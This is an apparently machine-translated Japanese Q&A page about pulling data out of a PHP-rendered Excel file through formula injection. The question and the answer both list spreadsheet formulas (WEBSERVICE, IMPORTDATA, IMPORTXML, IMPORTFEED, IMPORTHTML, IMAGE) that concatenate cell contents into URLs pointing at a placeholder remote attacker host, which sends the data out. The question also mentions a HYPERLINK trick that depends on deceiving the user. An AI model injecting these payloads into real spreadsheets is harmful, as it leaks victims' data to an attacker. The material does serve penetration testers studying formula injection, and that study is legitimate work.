web-dev-qa-db-ja.com

PHPでレンダリングされたExcel 2007ファイルに関数を挿入することにより、データを引き出します

Excel 2007関数を使用してExcelフィル内からデータを抽出する必要があります。

概念は、ユーザーが画像、Webパスを自動的にロードしたり、DNSリクエストを作成したりするためにExcel 2007関数(ファイルセルに挿入できた)を使用する必要があるだけで、保存されたXSSタイプのデータ引き出しに多少関係しています。

これまで私は以下を試しましたが、ExcelファイルがExcel 2007関数でPHPでレンダリングされるため、失敗しました。

  • =IMPORTDATA(CONCATENATE("https://example.com/", C2))
  • =WEBSERVICE(CONCATENATE("https://example.com/", C2))

私はうまく注入しました:

  • =HYPERLINK(CONCATENATE("https://example.com/",C2), "HYPERLINK HIJACKING")

しかし、この方法では、ユーザーをだましてリンクを開かせる必要があります(不可能ではありませんが、楽しいことではありません:D)。

4
Lucian Nitescu

何度か試行錯誤した結果、なんとかデータを抽出することができましたが、次の記事は、Excelの数式を使用したデータの引き出しの最も包括的なリソースの1つであることがわかりました。

https://www.notsosecure.com/data-exfiltration-formula-injection/

CONCATENATE:文字列を互いに追加します。

= CONCATENATE(A2:E2)

IMPORTXML:XML、HTML、CSV、TSV、RSS、およびATOM XMLフィードを含むさまざまな構造化データタイプからデータをインポートします。

= IMPORTXML(CONCAT( " http:// [remote IP:Port] /123.txt?v="、CONCATENATE(A2:E2))、 "// a/a10")

IMPORTFEED:RSSまたはATOMフィードをインポートします。

= IMPORTFEED(CONCAT( " http:// [remote IP:Port] // 123.txt?v ="、CONCATENATE(A2:E2)))

IMPORTHTML:HTMLページ内のテーブルまたはリストからデータをインポートします。

= IMPORTHTML(CONCAT( " http:// [remote IP:Port] /123.txt?v="、CONCATENATE(A2:E2))、 "table"、1)

IMPORTRANGE:指定したスプレッドシートからセルの範囲をインポートします。

= IMPORTRANGE( " https://docs.google.com/spreadsheets/d/ [Sheet_Id] "、 "sheet1!A2:E2")

IMAGE:セルに画像を挿入します。

= IMAGE( " https:// [リモート IP:ポート] /images/srpr/logo3w.png")

1
Lucian Nitescu